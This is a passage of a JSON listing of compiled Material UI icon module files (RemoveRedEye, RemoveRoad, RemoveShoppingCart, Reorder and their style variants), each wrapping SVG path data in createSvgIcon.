    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEyeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEyeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'RemoveRedEyeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c-3.79 0-7.17 2.13-8.82 5.5 1.65 3.37 5.02 5.5 8.82 5.5s7.17-2.13 8.82-5.5C19.17 8.63 15.79 6.5 12 6.5m0 10c-2.48 0-4.5-2.02-4.5-4.5S9.52 7.5 12 7.5s4.5 2.02 4.5 4.5-2.02 4.5-4.5 4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5m0 13c-3.79 0-7.17-2.13-8.82-5.5C4.83 8.63 8.21 6.5 12 6.5s7.17 2.13 8.82 5.5c-1.65 3.37-5.03 5.5-8.82 5.5m0-10c-2.48 0-4.5 2.02-4.5 4.5s2.02 4.5 4.5 4.5 4.5-2.02 4.5-4.5-2.02-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}, \"1\")], 'RemoveRedEyeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRedEyeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c-3.79 0-7.17 2.13-8.82 5.5 1.65 3.37 5.02 5.5 8.82 5.5s7.17-2.13 8.82-5.5C19.17 8.63 15.79 6.5 12 6.5m0 10c-2.48 0-4.5-2.02-4.5-4.5S9.52 7.5 12 7.5s4.5 2.02 4.5 4.5-2.02 4.5-4.5 4.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5m0 13c-3.79 0-7.17-2.13-8.82-5.5C4.83 8.63 8.21 6.5 12 6.5s7.17 2.13 8.82 5.5c-1.65 3.37-5.03 5.5-8.82 5.5m0-10c-2.48 0-4.5 2.02-4.5 4.5s2.02 4.5 4.5 4.5 4.5-2.02 4.5-4.5-2.02-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}, \"1\")], 'RemoveRedEyeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoad');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m7-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m9.79-4.29a.996.996 0 0 0-1.41 0L19 17.09l-1.38-1.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.38 1.38-1.38 1.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 19.91l1.38 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.38-1.38 1.38-1.38c.39-.39.39-1.02 0-1.41\"\n}), 'RemoveRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1s1-.45 1-1V5c0-.55-.45-1-1-1M5 20c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1m7-12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m0 6c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1v2c0 .55.45 1 1 1m9.79-4.29a.996.996 0 0 0-1.41 0L19 17.09l-1.38-1.38a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.38 1.38-1.38 1.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 19.91l1.38 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-1.38-1.38 1.38-1.38c.39-.39.39-1.02 0-1.41\"\n}), 'RemoveRoadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRoadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h2v9h-2zM4 4h2v16H4zm7 0h2v4h-2zm0 6h2v4h-2zm0 6h2v4h-2zm11.5.41L21.09 15 19 17.09 16.91 15l-1.41 1.41 2.09 2.09-2.09 2.09L16.91 22 19 19.91 21.09 22l1.41-1.41-2.09-2.09z\"\n}), 'RemoveRoadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13H6c-.55 0-1-.45-1-1s.45-1 1-1h12c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13H6c-.55 0-1-.45-1-1s.45-1 1-1h12c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'RemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.73 22.73 2.77 2.77 2 2l-.73-.73L0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24zM7.42 15c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h2.36l2 2zm8.13-2c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H6.54zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.73 22.73 2.77 2.77 2 2l-.73-.73L0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24zM7.42 15c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h2.36l2 2zm8.13-2c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H6.54zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2zM20 4H7.12l2 2h9.19l-2.76 5h-1.44l1.94 1.94c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2zM20 4H7.12l2 2h9.19l-2.76 5h-1.44l1.94 1.94c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.71 1.83c-.39.39-.39 1.02 0 1.41l3.68 3.68 2.21 4.66-1.35 2.45c-.19.33-.28.73-.24 1.15.1 1.06 1.06 1.82 2.12 1.82h7.33l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84l2.13 2.13c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.12 1.83a.996.996 0 0 0-1.41 0M7 15l1.1-2h2.36l2 2zm9.05-2.06c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4H7.12zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.71 1.83c-.39.39-.39 1.02 0 1.41l3.68 3.68 2.21 4.66-1.35 2.45c-.19.33-.28.73-.24 1.15.1 1.06 1.06 1.82 2.12 1.82h7.33l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84l2.13 2.13c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.12 1.83a.996.996 0 0 0-1.41 0M7 15l1.1-2h2.36l2 2zm9.05-2.06c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4H7.12zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66L3.62 17h10.84l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2zm9.05-2.06h.73L21.7 4H7.12zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66L3.62 17h10.84l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2zm9.05-2.06h.73L21.7 4H7.12zM7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}), 'RemoveShoppingCartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.31 6H9.12l4.99 5h1.44z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H7.12l2 2h9.19l-2.76 5h-1.44l1.94 1.94c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}, \"2\")], 'RemoveShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveShoppingCartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.13 0 2.54l4.39 4.39 2.21 4.66-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h7.46l1.38 1.38c-.5.36-.83.95-.83 1.62 0 1.1.89 2 1.99 2 .67 0 1.26-.33 1.62-.84L21.46 24l1.41-1.41zM7 15l1.1-2h2.36l2 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.31 6H9.12l4.99 5h1.44z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H7.12l2 2h9.19l-2.76 5h-1.44l1.94 1.94c.54-.14.99-.49 1.25-.97l3.58-6.49C21.25 4.82 20.76 4 20 4M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2\"\n}, \"2\")], 'RemoveShoppingCartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RemoveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5v-2h14z\"\n}), 'RemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reorder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'Reorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/Reorder.mjs",
